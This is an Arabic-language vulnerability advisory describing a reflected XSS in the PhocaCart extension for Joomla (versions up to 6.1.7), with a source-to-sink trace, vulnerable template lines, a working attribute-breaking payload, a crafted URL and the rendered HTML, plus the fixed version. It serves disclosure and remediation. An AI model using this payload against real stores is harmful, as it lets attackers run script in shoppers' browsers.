
XSS المنعكس عبر معاملي التصفية price_from و price_to في PhocaCart
PhocaCart ≤ 6.1.7 — مهاجم غير مصادق يحقن JavaScript عشوائيًا عبر عنوان URL مخصص لفلتر السعر
إصدار PhocaCart 6.1.7 لنظام Joomla عرضة لثغرة XSS المنعكسة (Reflected Cross-Site Scripting) عبر معاملي GET price_from و price_to عند تثبيت ونشر وحدة mod_phocacart_filter. تتم معالجة المعاملين باستخدام مرشح الإدخال 'string' في Joomla، والذي يطبّق strip_tags() فقط — ولا يطبّق . تُصدَر القيم الخام مباشرةً داخل سمات HTML في نموذج فلتر السعر الذي تعرضه وحدة .
htmlspecialchars()value=""mod_phocacart_filterيوجّه المهاجم عنوان URL مخصصًا إلى الضحية. وعندما يحمّل الضحية الصفحة، يتم تنفيذ معالج الحدث المحقون في متصفحه. لا تتطلب هذه الهجمة أي مصادقة. وتتطلب تثبيت ونشر mod_phocacart_filter (وهي وحدة تُوزَّع بشكل منفصل).
| المكوّن | الإصدار القابل للاستغلال | تم الاختبار على | الإصلاح |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
النوع: XSS منعكسة (CWE-79)
المصادقة المطلوبة: لا شيء — واجهة المتجر العامة
رمز CSRF المطلوب: لا (طلب GET)
ملف المصب: site/layouts/form_filter_horizontal_text.php:65,71
يعمل مرشح الإدخال 'string' في Joomla على استدعاء strip_tags() — فهو يزيل وسوم HTML لكنه يُبقي محارف HTML الخاصة مثل " و ' و > دون ترميز. يتم جلب معاملي GET price_from و price_to عبر هذا المرشح وتخزينهما في $data['getparams']. تقوم ملفات القوالب بطباعة هذه القيم مباشرةً داخل سمات value="" دون استدعاء htmlspecialchars()، مما يسمح بالحقن في سياق السمة.
تدفق البيانات — من المصدر إلى المصب:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Joomla 'string' filter = strip_tags() only
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [unchanged!]
filter.php:494 $inA[] = $v // no encoding
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → NO htmlspecialchars()
→ Renders: value="" onmouseover="alert(document.domain)"
→ XSS fires on mouseover
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — المصب القابل للاستغلال
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- NO htmlspecialchars() -->
id="phPriceFrom..." />
نمط المصب نفسه موجود أيضًا في form_filter_text.php:81,87 (نسخة التخطيط العمودي). كلا المعاملين price_from و price_to عرضة للثغرة بنفس القدر.
ينشئ المهاجم عنوان URL يستهدف عرض عناصر المتجر مع حمولة معالج حدث محقونة في معامل price_from. تخرج الحمولة من سياق السمة value="".
Payload (raw): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Crafted URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
عندما يفتح الضحية عنوان URL المخصص، تعرض صفحة عناصر المتجر نموذج فلتر السعر. تكون السمات المحقونة حاضرة في عنصر <input>. مع حمولة autofocus onfocus، يتم تنفيذ JavaScript فورًا عند تحميل الصفحة دون أي تفاعل إضافي من المستخدم.
HTML المعروض (قابل للاستغلال):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

يعمل XSS في متصفح الضحية — alert(document.domain) يؤكد سياق التنفيذ في واجهة المتجر